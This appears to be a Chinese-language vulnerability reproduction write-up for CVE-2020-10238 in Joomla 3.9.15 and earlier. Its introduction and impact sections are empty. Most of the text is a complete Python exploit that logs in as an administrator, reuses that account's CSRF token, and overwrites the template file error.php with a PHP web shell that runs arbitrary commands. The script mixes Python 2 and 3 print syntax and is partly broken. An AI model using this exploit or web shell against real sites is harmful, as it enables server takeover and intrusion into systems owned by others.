（CVE-2020-10238）Joomal \<= 3.9.15 远程命令执行漏洞

一、漏洞简介

二、漏洞影响

\<= 3.9.15

三、复现过程

http://www.0-sec.org/administrator/index.php?option=com_templates&view=template&id=506&file=aG9tZQ==

使用admin进行登录

思路：

• 首先超级管理员跟管理员的后台界面是不同的
• 将恶意代码添加到index.php里面
• 使用管理员账户修改index.php，通过超级管理员进行index.php的文件编辑来获取到返回请求。

为了方便阅读，这里我们删掉index.php的内容，只保留shell

黄色部分为超级管理员的token，Joomal通过此令牌来防止csrf

这里我们先在burp里面保存此请求，先试用管理员账户进行登录，获取一下管理员账户的token。

如上图黄色部分为管理员的token，我们用管理员的token替换超级管理员的token，并且编辑url

poc

#!/usr/bin/python
import sys
import requests
import re
import argparse

def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[-] Cannot find CSRF token!\n") + "[-] You are not admin account!"
        return None
    return match.group(1)
def try_admin_login(sess,url,uname,upass):
    admin_url = url+'/administrator/index.php'
    print('[+] Getting token for admin login')
    resp = sess.get(admin_url, verify=True)
    token = extract_token(resp)
    # print token
    if not token:
        return False
    print('[+] Logging in to admin')
    data = {
        'username': uname,
        'passwd': upass,
        'task': 'login',
        token: '1'
    }
    resp = sess.post(admin_url, data=data, verify=True)
    if 'task=profile.edit' not in resp.text:
        print('[!] Admin Login Failure!')
        return None
    print('[+] Admin Login Successfully!')
    return True

def rce(sess,url,cmd):
    getjs = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=L2Vycm9yLnBocA%3D%3D'
    resp = sess.get(getjs, verify=True)
    token = extract_token(resp)
    if (token==None) : sys.exit()
    filename='error.php'
    shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D'
    shdata_up = {
        'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>",
        'task': 'template.apply',
        token: '1',
        'jform[extension_id]': '506',
        'jform[filename]': '/' + filename
    }
    shreq = sess.post(shlink, data=shdata_up)
    path2shell = '/templates/protostar/error.php?cmd='+cmd
    # print '[+] Shell is ready to use: ' + str(path2shell)
    print '[+] Checking:'
    shreq = sess.get(url + path2shell)
    shresp = shreq.text
    print shresp + '[+] Shell link: \n' + (url + path2shell)
    print '[+] Module finished.'

def main() :

    # Construct the argument parser
    ap = argparse.ArgumentParser()
    # Add the arguments to the parser
    ap.add_argument("-url", "--url", required=True,
                    help=" URL for your Joomla target")
    ap.add_argument("-u", "--username", required=True,
                    help="username")
    ap.add_argument("-p", "--password", required=True,
                    help="password")
    ap.add_argument("-cmd", "--command", default="whoami",
                    help="command")
    args = vars(ap.parse_args())
    # target
    url = format(str(args['url']))
    print '[+] Your target: ' + url
    # username
    uname = format(str(args['username']))
    # password
    upass = format(str(args['password']))
    # command
    command = format(str(args['command']))

    sess = requests.Session()
    if(try_admin_login(sess,url,uname,upass) == None) : sys.exit()
    rce(sess,url,command)
if __name__ == "__main__":
    sys.exit(main())

参考链接

https://github.com/HoangKien1020/CVE-2020-10238/tree/master/CVE-2020-10238